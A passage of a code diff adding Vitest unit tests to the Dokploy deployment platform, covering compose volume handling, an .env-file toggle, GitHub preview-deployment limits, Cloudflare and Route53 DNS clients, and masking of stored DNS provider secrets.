stdout: "services:\n test:\n image: alpine:latest\n",
|
||||||
|
stderr: "",
|
||||||
|
});
|
||||||
|
|
||||||
|
const compose = {
|
||||||
|
appName: "raw-stack",
|
||||||
|
composeFile: `
|
||||||
|
services:
|
||||||
|
test:
|
||||||
|
image: alpine:latest
|
||||||
|
volumes:
|
||||||
|
- type: tmpfs
|
||||||
|
target: /scratch
|
||||||
|
- type: volume
|
||||||
|
source: test-data
|
||||||
|
target: /data
|
||||||
|
tmpfs:
|
||||||
|
- /cache
|
||||||
|
volumes:
|
||||||
|
test-data:
|
||||||
|
`,
|
||||||
|
composePath: "./docker-compose.yml",
|
||||||
|
composeType: "stack",
|
||||||
|
isolatedDeployment: false,
|
||||||
|
isolatedDeploymentsVolume: false,
|
||||||
|
randomize: false,
|
||||||
|
serverId: "remote-server",
|
||||||
|
sourceType: "raw",
|
||||||
|
suffix: "",
|
||||||
|
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||||
|
|
||||||
|
const converted = await addDomainToCompose(compose, []);
|
||||||
|
|
||||||
|
expect(converted?.services?.test?.volumes).toEqual([
|
||||||
|
{ type: "tmpfs", target: "/scratch" },
|
||||||
|
{
|
||||||
|
type: "volume",
|
||||||
|
source: "test-data",
|
||||||
|
target: "/data",
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
|
||||||
|
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||||
|
import { describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
// Compose now has a `createEnvFile` toggle (default true), mirroring the
|
||||||
|
// Application builder's flag: when disabled, Dokploy never writes `.env`,
|
||||||
|
// so a repo-tracked file survives untouched.
|
||||||
|
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||||
|
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const baseCompose = {
|
||||||
|
appName: "env-file-toggle",
|
||||||
|
sourceType: "raw",
|
||||||
|
command: "",
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
composeType: "docker-compose",
|
||||||
|
isolatedDeployment: false,
|
||||||
|
randomize: false,
|
||||||
|
suffix: "",
|
||||||
|
serverId: null,
|
||||||
|
env: "FOO=bar",
|
||||||
|
mounts: [],
|
||||||
|
domains: [],
|
||||||
|
environment: { project: { env: "" }, env: "" },
|
||||||
|
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||||
|
|
||||||
|
describe("getBuildComposeCommand createEnvFile toggle", () => {
|
||||||
|
it("createEnvFile: false never writes the .env file", async () => {
|
||||||
|
const command = await getBuildComposeCommand({
|
||||||
|
...baseCompose,
|
||||||
|
createEnvFile: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(command).not.toContain("base64 -d >");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
|
||||||
|
const command = await getBuildComposeCommand({
|
||||||
|
...baseCompose,
|
||||||
|
createEnvFile: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(command).toContain("base64 -d >");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -12,6 +12,8 @@ const mocks = vi.hoisted(() => ({
|
|||||||
queueAdd: vi.fn(),
|
queueAdd: vi.fn(),
|
||||||
verify: vi.fn(),
|
verify: vi.fn(),
|
||||||
shouldDeploy: vi.fn(),
|
shouldDeploy: vi.fn(),
|
||||||
|
createPreviewDeployment: vi.fn(),
|
||||||
|
findPreviewDeploymentByApplicationId: vi.fn(),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock("drizzle-orm", () => ({
|
vi.mock("drizzle-orm", () => ({
|
||||||
@@ -64,10 +66,11 @@ vi.mock("@dokploy/server", () => ({
|
|||||||
IS_CLOUD: false,
|
IS_CLOUD: false,
|
||||||
shouldDeploy: mocks.shouldDeploy,
|
shouldDeploy: mocks.shouldDeploy,
|
||||||
checkUserRepositoryPermissions: vi.fn(),
|
checkUserRepositoryPermissions: vi.fn(),
|
||||||
createPreviewDeployment: vi.fn(),
|
createPreviewDeployment: mocks.createPreviewDeployment,
|
||||||
createSecurityBlockedComment: vi.fn(),
|
createSecurityBlockedComment: vi.fn(),
|
||||||
findGithubById: vi.fn(),
|
findGithubById: vi.fn(),
|
||||||
findPreviewDeploymentByApplicationId: vi.fn(),
|
findPreviewDeploymentByApplicationId:
|
||||||
|
mocks.findPreviewDeploymentByApplicationId,
|
||||||
findPreviewDeploymentsByPullRequestId: vi.fn(),
|
findPreviewDeploymentsByPullRequestId: vi.fn(),
|
||||||
getBitbucketHeaders: vi.fn(() => ({})),
|
getBitbucketHeaders: vi.fn(() => ({})),
|
||||||
removePreviewDeployment: vi.fn(),
|
removePreviewDeployment: vi.fn(),
|
||||||
@@ -321,3 +324,157 @@ describe("GitHub app webhook auto-deploy", () => {
|
|||||||
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
|
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe("GitHub app webhook preview deployments", () => {
|
||||||
|
const createApplication = (
|
||||||
|
overrides: Record<string, unknown> = {},
|
||||||
|
): Record<string, unknown> => ({
|
||||||
|
applicationId: "application-id",
|
||||||
|
name: "my-app",
|
||||||
|
serverId: null,
|
||||||
|
previewLabels: [],
|
||||||
|
previewLimit: 3,
|
||||||
|
previewDeployments: [],
|
||||||
|
previewRequireCollaboratorPermissions: false,
|
||||||
|
...overrides,
|
||||||
|
});
|
||||||
|
|
||||||
|
const createPreviewDeployments = (total: number) =>
|
||||||
|
Array.from({ length: total }, (_, index) => ({
|
||||||
|
previewDeploymentId: `existing-preview-${index}`,
|
||||||
|
}));
|
||||||
|
|
||||||
|
const createPullRequestRequest = (action: string) =>
|
||||||
|
({
|
||||||
|
headers: {
|
||||||
|
"x-hub-signature-256": "sha256=test-signature",
|
||||||
|
"x-github-event": "pull_request",
|
||||||
|
},
|
||||||
|
body: {
|
||||||
|
installation: {
|
||||||
|
id: 12345,
|
||||||
|
},
|
||||||
|
action,
|
||||||
|
pull_request: {
|
||||||
|
id: 987,
|
||||||
|
number: 42,
|
||||||
|
title: "feat: add preview",
|
||||||
|
html_url: "https://github.com/agentHits/dokploy/pull/42",
|
||||||
|
labels: [],
|
||||||
|
user: {
|
||||||
|
login: "agentHits",
|
||||||
|
},
|
||||||
|
head: {
|
||||||
|
ref: "feature",
|
||||||
|
sha: "abc123",
|
||||||
|
},
|
||||||
|
base: {
|
||||||
|
ref: "main",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
repository: {
|
||||||
|
name: "dokploy",
|
||||||
|
owner: {
|
||||||
|
login: "agentHits",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}) as unknown as NextApiRequest;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.clearAllMocks();
|
||||||
|
mocks.githubFindFirst.mockResolvedValue({
|
||||||
|
githubId: "github-provider-id",
|
||||||
|
githubInstallationId: 12345,
|
||||||
|
githubWebhookSecret: "webhook-secret",
|
||||||
|
});
|
||||||
|
mocks.verify.mockResolvedValue(true);
|
||||||
|
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
|
||||||
|
mocks.createPreviewDeployment.mockResolvedValue({
|
||||||
|
previewDeploymentId: "new-preview-id",
|
||||||
|
});
|
||||||
|
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("redeploys an existing preview even when the limit is reached", async () => {
|
||||||
|
mocks.applicationsFindMany.mockResolvedValue([
|
||||||
|
createApplication({
|
||||||
|
previewLimit: 2,
|
||||||
|
previewDeployments: createPreviewDeployments(3),
|
||||||
|
}),
|
||||||
|
]);
|
||||||
|
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
|
||||||
|
previewDeploymentId: "existing-preview-0",
|
||||||
|
});
|
||||||
|
const res = createResponse();
|
||||||
|
|
||||||
|
await handler(createPullRequestRequest("synchronize"), res);
|
||||||
|
|
||||||
|
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||||
|
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||||
|
"deployments",
|
||||||
|
expect.objectContaining({
|
||||||
|
applicationId: "application-id",
|
||||||
|
applicationType: "application-preview",
|
||||||
|
previewDeploymentId: "existing-preview-0",
|
||||||
|
type: "deploy",
|
||||||
|
}),
|
||||||
|
expect.objectContaining({
|
||||||
|
removeOnComplete: true,
|
||||||
|
removeOnFail: true,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not create a new preview once the limit is reached", async () => {
|
||||||
|
mocks.applicationsFindMany.mockResolvedValue([
|
||||||
|
createApplication({
|
||||||
|
previewLimit: 2,
|
||||||
|
previewDeployments: createPreviewDeployments(2),
|
||||||
|
}),
|
||||||
|
]);
|
||||||
|
const res = createResponse();
|
||||||
|
|
||||||
|
await handler(createPullRequestRequest("opened"), res);
|
||||||
|
|
||||||
|
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||||
|
expect(mocks.queueAdd).not.toHaveBeenCalled();
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("falls back to the default limit when none is configured", async () => {
|
||||||
|
mocks.applicationsFindMany.mockResolvedValue([
|
||||||
|
createApplication({
|
||||||
|
previewLimit: null,
|
||||||
|
previewDeployments: createPreviewDeployments(2),
|
||||||
|
}),
|
||||||
|
]);
|
||||||
|
const res = createResponse();
|
||||||
|
|
||||||
|
await handler(createPullRequestRequest("opened"), res);
|
||||||
|
|
||||||
|
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({
|
||||||
|
applicationId: "application-id",
|
||||||
|
branch: "feature",
|
||||||
|
pullRequestId: 987,
|
||||||
|
pullRequestNumber: 42,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||||
|
"deployments",
|
||||||
|
expect.objectContaining({
|
||||||
|
applicationId: "application-id",
|
||||||
|
applicationType: "application-preview",
|
||||||
|
previewDeploymentId: "new-preview-id",
|
||||||
|
type: "deploy",
|
||||||
|
}),
|
||||||
|
expect.objectContaining({
|
||||||
|
removeOnComplete: true,
|
||||||
|
removeOnFail: true,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -0,0 +1,214 @@
|
|||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
const mockFetch = vi.fn();
|
||||||
|
global.fetch = mockFetch as typeof fetch;
|
||||||
|
|
||||||
|
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
|
||||||
|
|
||||||
|
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||||
|
({
|
||||||
|
ok,
|
||||||
|
status,
|
||||||
|
json: async () => body,
|
||||||
|
}) as Response;
|
||||||
|
|
||||||
|
const cfSuccess = (result: unknown) =>
|
||||||
|
jsonResponse({ success: true, errors: [], result });
|
||||||
|
|
||||||
|
const cfError = (message: string, status = 400) =>
|
||||||
|
jsonResponse(
|
||||||
|
{ success: false, errors: [{ code: 1, message }] },
|
||||||
|
false,
|
||||||
|
status,
|
||||||
|
);
|
||||||
|
|
||||||
|
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
mockFetch.mockReset();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.listZones", () => {
|
||||||
|
it("returns a single page of zones", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
|
||||||
|
|
||||||
|
const zones = await cloudflareClient.listZones(config);
|
||||||
|
|
||||||
|
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
const [url] = mockFetch.mock.calls[0] as [string];
|
||||||
|
expect(url).toContain("/zones?per_page=50&page=1");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("paginates until a short page is returned", async () => {
|
||||||
|
const page = (count: number) =>
|
||||||
|
cfSuccess(
|
||||||
|
Array.from({ length: count }, (_, i) => ({
|
||||||
|
id: `z${i}`,
|
||||||
|
name: `zone${i}.com`,
|
||||||
|
})),
|
||||||
|
);
|
||||||
|
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
|
||||||
|
|
||||||
|
const zones = await cloudflareClient.listZones(config);
|
||||||
|
|
||||||
|
expect(zones).toHaveLength(53);
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||||
|
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.listRecords", () => {
|
||||||
|
it("lists records for a zone", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
cfSuccess([
|
||||||
|
{
|
||||||
|
id: "r1",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "1.2.3.4",
|
||||||
|
ttl: 1,
|
||||||
|
},
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||||
|
|
||||||
|
expect(records).toEqual([
|
||||||
|
{
|
||||||
|
id: "r1",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "1.2.3.4",
|
||||||
|
ttl: 1,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.upsertRecord", () => {
|
||||||
|
it("creates a record when none exists for the name/type", async () => {
|
||||||
|
mockFetch
|
||||||
|
.mockResolvedValueOnce(cfSuccess([]))
|
||||||
|
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||||
|
|
||||||
|
const result = await cloudflareClient.upsertRecord(config, {
|
||||||
|
zoneId: "zone-1",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "1.2.3.4",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toEqual({ id: "new-1" });
|
||||||
|
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||||
|
expect(createInit.method).toBe("POST");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("updates the existing record instead of creating a duplicate", async () => {
|
||||||
|
mockFetch
|
||||||
|
.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
|
||||||
|
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
|
||||||
|
|
||||||
|
const result = await cloudflareClient.upsertRecord(config, {
|
||||||
|
zoneId: "zone-1",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "5.6.7.8",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toEqual({ id: "existing-1" });
|
||||||
|
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
|
||||||
|
string,
|
||||||
|
RequestInit,
|
||||||
|
];
|
||||||
|
expect(updateUrl).toContain("/dns_records/existing-1");
|
||||||
|
expect(updateInit.method).toBe("PUT");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("defaults ttl to 1 (automatic) when not provided", async () => {
|
||||||
|
mockFetch
|
||||||
|
.mockResolvedValueOnce(cfSuccess([]))
|
||||||
|
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||||
|
|
||||||
|
await cloudflareClient.upsertRecord(config, {
|
||||||
|
zoneId: "zone-1",
|
||||||
|
type: "CNAME",
|
||||||
|
name: "www.example.com",
|
||||||
|
content: "example.com",
|
||||||
|
});
|
||||||
|
|
||||||
|
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||||
|
const body = JSON.parse(createInit.body as string);
|
||||||
|
expect(body.ttl).toBe(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.updateRecord", () => {
|
||||||
|
it("PUTs directly to the given record id", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
|
||||||
|
|
||||||
|
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "9.9.9.9",
|
||||||
|
ttl: 300,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toEqual({ id: "r1" });
|
||||||
|
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||||
|
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||||
|
expect(init.method).toBe("PUT");
|
||||||
|
expect(JSON.parse(init.body as string)).toEqual({
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "9.9.9.9",
|
||||||
|
ttl: 300,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.deleteRecord", () => {
|
||||||
|
it("DELETEs the given record id", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfSuccess({}));
|
||||||
|
|
||||||
|
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
|
||||||
|
|
||||||
|
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||||
|
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||||
|
expect(init.method).toBe("DELETE");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient.testConnection", () => {
|
||||||
|
it("succeeds when the token can list zones", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||||
|
await expect(
|
||||||
|
cloudflareClient.testConnection(config),
|
||||||
|
).resolves.toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("surfaces Cloudflare's error message on an invalid token", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
|
||||||
|
|
||||||
|
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
|
||||||
|
"Invalid API Token",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloudflareClient auth header", () => {
|
||||||
|
it("trims whitespace pasted into the token", async () => {
|
||||||
|
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||||
|
|
||||||
|
await cloudflareClient.testConnection({
|
||||||
|
providerType: "cloudflare",
|
||||||
|
apiToken: " cf-token\n",
|
||||||
|
});
|
||||||
|
|
||||||
|
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||||
|
expect((init.headers as Record<string, string>).Authorization).toBe(
|
||||||
|
"Bearer cf-token",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
import { describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
vi.mock("@dokploy/server/db", () => ({
|
||||||
|
db: {
|
||||||
|
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
|
||||||
|
insert: vi.fn(),
|
||||||
|
update: vi.fn(),
|
||||||
|
delete: vi.fn(),
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
import {
|
||||||
|
DNS_SECRET_MASK,
|
||||||
|
maskDnsProviderConfig,
|
||||||
|
mergeDnsProviderConfig,
|
||||||
|
} from "@dokploy/server/services/dns-provider";
|
||||||
|
|
||||||
|
describe("maskDnsProviderConfig", () => {
|
||||||
|
it("masks the apiToken for a cloudflare config", () => {
|
||||||
|
const masked = maskDnsProviderConfig({
|
||||||
|
providerType: "cloudflare",
|
||||||
|
apiToken: "real-token",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(masked).toEqual({
|
||||||
|
providerType: "cloudflare",
|
||||||
|
apiToken: DNS_SECRET_MASK,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
|
||||||
|
const masked = maskDnsProviderConfig({
|
||||||
|
providerType: "route53",
|
||||||
|
accessKeyId: "AKIA_VISIBLE",
|
||||||
|
secretAccessKey: "shh",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(masked).toEqual({
|
||||||
|
providerType: "route53",
|
||||||
|
accessKeyId: "AKIA_VISIBLE",
|
||||||
|
secretAccessKey: DNS_SECRET_MASK,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
|
||||||
|
const masked = maskDnsProviderConfig({
|
||||||
|
providerType: "cloudflare",
|
||||||
|
apiToken: "",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("mergeDnsProviderConfig", () => {
|
||||||
|
it("restores the real secret when the incoming config still has the mask placeholder", () => {
|
||||||
|
const existing = {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: "real-token",
|
||||||
|
};
|
||||||
|
const incoming = {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: DNS_SECRET_MASK,
|
||||||
|
};
|
||||||
|
|
||||||
|
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a freshly entered secret instead of the stored one", () => {
|
||||||
|
const existing = {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: "old-token",
|
||||||
|
};
|
||||||
|
const incoming = {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: "new-token",
|
||||||
|
};
|
||||||
|
|
||||||
|
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when switching provider type while the field is still masked", () => {
|
||||||
|
const existing = {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: "real-token",
|
||||||
|
};
|
||||||
|
const incoming = {
|
||||||
|
providerType: "route53" as const,
|
||||||
|
accessKeyId: "AKIA",
|
||||||
|
secretAccessKey: DNS_SECRET_MASK,
|
||||||
|
};
|
||||||
|
|
||||||
|
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
|
||||||
|
"Credentials must be re-entered",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not require re-entry for fields that are not sensitive", () => {
|
||||||
|
const existing = {
|
||||||
|
providerType: "route53" as const,
|
||||||
|
accessKeyId: "AKIA_OLD",
|
||||||
|
secretAccessKey: "old-secret",
|
||||||
|
};
|
||||||
|
const incoming = {
|
||||||
|
providerType: "route53" as const,
|
||||||
|
accessKeyId: "AKIA_NEW",
|
||||||
|
secretAccessKey: DNS_SECRET_MASK,
|
||||||
|
};
|
||||||
|
|
||||||
|
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
|
||||||
|
providerType: "route53",
|
||||||
|
accessKeyId: "AKIA_NEW",
|
||||||
|
secretAccessKey: "old-secret",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,288 @@
|
|||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
type HasInput = { input: any };
|
||||||
|
|
||||||
|
const {
|
||||||
|
send,
|
||||||
|
Route53Client,
|
||||||
|
ListHostedZonesCommand,
|
||||||
|
ListResourceRecordSetsCommand,
|
||||||
|
ChangeResourceRecordSetsCommand,
|
||||||
|
} = vi.hoisted(() => {
|
||||||
|
class FakeCommand {
|
||||||
|
input: any;
|
||||||
|
constructor(input: any) {
|
||||||
|
this.input = input;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const send = vi.fn();
|
||||||
|
class Route53Client {
|
||||||
|
send(command: unknown) {
|
||||||
|
return send(command);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
send,
|
||||||
|
Route53Client,
|
||||||
|
ListHostedZonesCommand: class extends FakeCommand {},
|
||||||
|
ListResourceRecordSetsCommand: class extends FakeCommand {},
|
||||||
|
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
vi.mock("@aws-sdk/client-route-53", () => ({
|
||||||
|
Route53Client,
|
||||||
|
ListHostedZonesCommand,
|
||||||
|
ListResourceRecordSetsCommand,
|
||||||
|
ChangeResourceRecordSetsCommand,
|
||||||
|
}));
|
||||||
|
|
||||||
|
import { route53Client } from "@dokploy/server/utils/dns/route53";
|
||||||
|
|
||||||
|
const config = {
|
||||||
|
providerType: "route53" as const,
|
||||||
|
accessKeyId: "AKIA_TEST",
|
||||||
|
secretAccessKey: "secret",
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
send.mockReset();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.listZones", () => {
|
||||||
|
it("strips the hostedzone prefix and the trailing dot", async () => {
|
||||||
|
send.mockResolvedValueOnce({
|
||||||
|
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
|
||||||
|
IsTruncated: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const zones = await route53Client.listZones(config);
|
||||||
|
|
||||||
|
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("follows the marker until IsTruncated is false", async () => {
|
||||||
|
send
|
||||||
|
.mockResolvedValueOnce({
|
||||||
|
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
|
||||||
|
IsTruncated: true,
|
||||||
|
NextMarker: "marker-1",
|
||||||
|
})
|
||||||
|
.mockResolvedValueOnce({
|
||||||
|
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
|
||||||
|
IsTruncated: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const zones = await route53Client.listZones(config);
|
||||||
|
|
||||||
|
expect(zones).toEqual([
|
||||||
|
{ id: "Z1", name: "a.com" },
|
||||||
|
{ id: "Z2", name: "b.com" },
|
||||||
|
]);
|
||||||
|
expect(send).toHaveBeenCalledTimes(2);
|
||||||
|
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.listRecords", () => {
|
||||||
|
it("builds a type:name id and strips the trailing dot from the name", async () => {
|
||||||
|
send.mockResolvedValueOnce({
|
||||||
|
ResourceRecordSets: [
|
||||||
|
{
|
||||||
|
Name: "app.example.com.",
|
||||||
|
Type: "A",
|
||||||
|
TTL: 300,
|
||||||
|
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
IsTruncated: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const records = await route53Client.listRecords(config, "Z123");
|
||||||
|
|
||||||
|
expect(records).toEqual([
|
||||||
|
{
|
||||||
|
id: "A:app.example.com",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "1.2.3.4",
|
||||||
|
ttl: 300,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
|
||||||
|
send.mockResolvedValueOnce({
|
||||||
|
ResourceRecordSets: [
|
||||||
|
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
|
||||||
|
],
|
||||||
|
IsTruncated: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const records = await route53Client.listRecords(config, "Z123");
|
||||||
|
|
||||||
|
expect(records).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("joins multiple values for the same record", async () => {
|
||||||
|
send.mockResolvedValueOnce({
|
||||||
|
ResourceRecordSets: [
|
||||||
|
{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: "NS",
|
||||||
|
TTL: 172800,
|
||||||
|
ResourceRecords: [
|
||||||
|
{ Value: "ns1.example.com" },
|
||||||
|
{ Value: "ns2.example.com" },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
IsTruncated: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const records = await route53Client.listRecords(config, "Z123");
|
||||||
|
|
||||||
|
expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.upsertRecord", () => {
|
||||||
|
it("sends a single UPSERT change", async () => {
|
||||||
|
send.mockResolvedValueOnce({});
|
||||||
|
|
||||||
|
const result = await route53Client.upsertRecord(config, {
|
||||||
|
zoneId: "Z123",
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "1.2.3.4",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toEqual({ id: "A:app.example.com" });
|
||||||
|
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||||
|
expect(command.input.HostedZoneId).toBe("Z123");
|
||||||
|
